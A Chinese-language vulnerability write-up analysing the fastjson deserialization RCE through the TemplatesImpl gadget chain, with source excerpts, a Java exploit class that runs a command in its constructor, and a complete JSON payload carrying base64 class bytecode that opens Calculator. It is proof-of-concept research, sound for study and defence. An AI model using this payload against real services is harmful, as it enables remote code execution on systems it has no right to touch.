Fastjson Unserialize Vulnerability Write Up
0x00
fastjson 日前爆了一个反序列化导致 RCE 的漏洞,但是网上没有流传的 exploit。今天 @廖新喜1 发了一张截图,隐约透露出的内容是利用 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
来执行命令。我当时菊花一紧,这不就是我最开始看 ysoserial
的时候的那个执行链吗。奈何太菜,调试不出来。
不过既然 dalao 都已经调试出来了,那么肯定用这个没错了。打了一把 CS:GO(Steam:ricter_z)后操起 IDEA 开始调试。
因为对 Java 人生地不熟,更别说什么 TemplatesImpl
了。首先看一下 TemplatesImpl
的源码,没看出什么来。总之先按照截图慢慢凑一下 payload 吧。
...
于是终于凑出来了。紧接着单步调试跟了一下 fastjson 解析流程,终于搞明白原理了。
我好菜啊.jpg
0x01 fastjson 的特性
对于 byte[] 的 base64 decode
对于 byte[] 类型的成员变量,在 deserialze
的时候会调用 lexer.bytesValue
:
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
JSONLexer lexer = parser.lexer;
if(lexer.token() == 8) {
lexer.nextToken(16);
return null;
} else if(lexer.token() == 4) {
byte[] bytes = lexer.bytesValue();
lexer.nextToken(16);
return bytes;
bytesValue
方法为:
public byte[] bytesValue() {
return IOUtils.decodeBase64(this.text, this.np + 1, this.sp);
}
private 成员变量的处理
对于一个 Class:
class ModelTest {
public String field1;
public int field2;
private String field3;
private int field4;
public String getField3() {
return field3;
}
public void setField3(String s) {
field3 = s;
}
}
在默认情况下,fastjson 会把一些符合条件的方法和字段加到字段列表里。
field1
,public 的成员变量field2
,同上field3
,存在 getField3/setField3 方法
fastjson 判断 field3
的条件如下:
methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))
并且:
methodName.startsWith("set")
对于 field4
,在设置了 SupportNonPublicField
后,也会支持解析。具体可以查看 Wiki:https://github.com/alibaba/fastjson/wiki/Feature_SupportNonPublicField_cn。
对于有 getter
没有 setter
的变量,fastjson 会在 JavaBeanInfo.class
的第 459 行处理(版本不同可能有偏差):
methodName.length() >= 4 &&
!Modifier.isStatic(method.getModifiers()) &&
methodName.startsWith("get") &&
Character.isUpperCase(methodName.charAt(3)) &&
method.getParameterTypes().length == 0 &&
(
Collection.class.isAssignableFrom(method.getReturnType()) ||
Map.class.isAssignableFrom(method.getReturnType()) ||
AtomicBoolean.class == method.getReturnType() ||
AtomicInteger.class == method.getReturnType() ||
AtomicLong.class == method.getReturnType()
)
关注括号里的几个判断,需要满足 X.class.isAssignableFrom(method.getReturnType())
才可以进入 if 语句。
关键点来了:在 TemplatesImpl.java
中,getOutputProperties
方法返回类型是 Properties
,而 Properties extends Hashtable<>
,Hashtable
又 implements Map
,所以可以通过这个判断。
0x02 漏洞触发原理
_outputProperties 触发 getOutputProperties 方法调用
我一直很疑惑,为什么 _outputProperties
会使得 getOutputProperties
被调用呢?于是我深入的单步了一下,发现 fastjson 有一个神奇的 smartMatch
方法:
public FieldDeserializer smartMatch(String key) {
if(key == null) {
return null;
} else {
FieldDeserializer fieldDeserializer = this.getFieldDeserializer(key);
boolean snakeOrkebab;
int i;
int var6;
if(fieldDeserializer == null) {
snakeOrkebab = key.startsWith("is");
FieldDeserializer[] var4 = this.sortedFieldDeserializers;
i = var4.length;
...
}
if(fieldDeserializer == null) {
snakeOrkebab = false;
String key2 = null;
for(i = 0; i < key.length(); ++i) {
char ch = key.charAt(i);
if(ch == 95) {
snakeOrkebab = true;
// 这里把下划线替换掉了,所以可以匹配
key2 = key.replaceAll("_", "");
break;
}
if(ch == 45) {
snakeOrkebab = true;
key2 = key.replaceAll("-", "");
break;
}
}
匹配完成后,返回了一个 FieldDeserializer
对象,接着下面的代码调用此处:
((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues);
parseField
调用了 setValue
public void setValue(Object object, Object value) {
if(value != null || !this.fieldInfo.fieldClass.isPrimitive()) {
try {
Method method = this.fieldInfo.method;
if(method != null) {
if(this.fieldInfo.getOnly) {
if(this.fieldInfo.fieldClass == AtomicInteger.class)
{
..
} else if(Map.class.isAssignableFrom(method.getReturnType())) {
Map map = (Map)method.invoke(object, new Object[0]);
这里 method
就是 getOutputProperties
方法了。
通过 getOutputProperties
方法,我们可以构造一个 exploit 类来进行攻击。
调用链
TemplatesImpl.java
的 getOutputProperties
函数为:
public synchronized Properties getOutputProperties() {
try {
// 调用 newTransformer
return newTransformer().getOutputProperties();
接着 newTransformer
函数调用了 getTransletInstance
:
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
// 调用 getTransletInstance
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
getTransletInstance
调用:
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
// 这里实例化了 _class[_transletIndex]
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
所以编写一个继承自 AbstractTranslet
类的类后,在构造器执行代码即可。
0x03 从 0 开始的构造 exploit
TemplatesImpl.java 构造 gadgets
TemplatesImpl.java
的 defineTransletClasses
中,通过 for 循环取出 _bytecodes
中的值,接着调用 loader.defineClass
来定义类。
private void defineTransletClasses()
throws TransformerConfigurationException {
...
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
接着,会判断这个类的超类是不是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
的子类,如果是,把 i
赋给 _transletIndex
。
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
接着通过上述的调用链:
getOutputProperties() -> getTransletInstance() -> getTransletInstance() -> AbstractTranslet newInstance()
来实例化 exploit 类。
构造 exploit
根据以上内容,我们需要构造的 exploit 应满足如下条件:
- 合法的
TemplatesImpl
- 合法的
_bytecodes
,可以正确解析成类 - 类需要继承自
AbstractTranslet
,构造器中存放执行命令的内容
首先利用 @type
声明一个 TemplatesImpl
:
{"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": [], "_name": "a"}
同时根据源代码,我们还要构造一个 _tfactory
加到上面的 JSON 里:
"_tfactory": {"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"}
为了触发漏洞点,我们还需要设置 _outputProperties。
"_outputProperties": {"@type": "java.util.Properties"}
接着构造 _bytecodes
。由于我们知道 fastjson 会帮助我们解码 base64,所以构造好直接 base64 编码然后填入 _bytecodes
即可。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Exp extends AbstractTranslet {
public Exp() {
try {
Runtime.getRuntime().exec("open /Applications/Calculator.app");
} catch (IOException e) {}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
由于 defineTransletClasses
的一个 bug,我们的 _bytescode
需要两项才可以。具体 bug 点在 defineTransletClasses
函数:
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
由于没有考虑 classCount == 1
的情况,导致当 classCount
为 1 时,_auxClasses
是 null
(扶额)。
这里是我犯蠢了,其实直接构造一个正确的类即可。
最终 payload 为(注意,这里是 Java 1.8,如果是 1.6 版本的话需要在 1.6 下编译 Exp 类,再写入 _bytecodes
):
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": [
"yv66vgAAADQALwoABwAhCgAiACMIACQKACIAJQcAJgcAJwcAKAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAbTG1haW4vamF2YS9jb20vUmljdGVyWi9FeHA7AQANU3RhY2tNYXBUYWJsZQcAJwcAJgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwApAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAIRXhwLmphdmEMAAgACQcAKgwAKwAsAQAhb3BlbiAvQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwDAAtAC4BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAZbWFpbi9qYXZhL2NvbS9SaWN0ZXJaL0V4cAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAADAAEACAAJAAEACgAAAGoAAgACAAAAEiq3AAG4AAISA7YABFenAARMsQABAAQADQAQAAUAAwALAAAAFgAFAAAADgAEABAADQATABAAEQARABQADAAAAAwAAQAAABIADQAOAAAADwAAABAAAv8AEAABBwAQAAEHABEAAAEAEgATAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAYAAwAAAAgAAMAAAABAA0ADgAAAAAAAQAUABUAAQAAAAEAFgAXAAIAGAAAAAQAAQAZAAEAEgAaAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAdAAwAAAAqAAQAAAABAA0ADgAAAAAAAQAUABUAAQAAAAEAGwAcAAIAAAABAB0AHgADABgAAAAEAAEAGQABAB8AAAACACA="
],
"_name": "a",
"_tfactory": {
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"
},
"_outputProperties": {
"@type": "java.util.Properties"
}
}
效果:
0x04 总结
说是个 RCE,但是利用起来环境却很苛刻。如果需要利用的话,对于 JSON 的处理函数应该为:
JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField);
但是大多数人都是直接 JSON.parse
一把梭,设置 Feature.SupportNonPublicField
的人少之又少,影响面会变小很多。
其他也没有什么好说的,再次感谢 @廖新喜1,如果不是那张截图我仍然还在把 fastjson 这事儿扔在 TODO 里吧(。
另外,总感觉利用 TemplatesImpl
这个真的是很多巧合的结合才会成功。
首先是 fastjson 的限制,然而 getOutputProperties
的返回值类型是 Properties
。如果没有这一点,这个调用链也连接不起来。
其次,由于 fastjson 的 smartMatch
,我们才会通过 _outputProperties
去触发 getOutputProperties
。
构造完的我莫名其妙,但是了解原理后叹为观止。
我们所过的每个平凡的日常,也许就是连续发生的奇迹。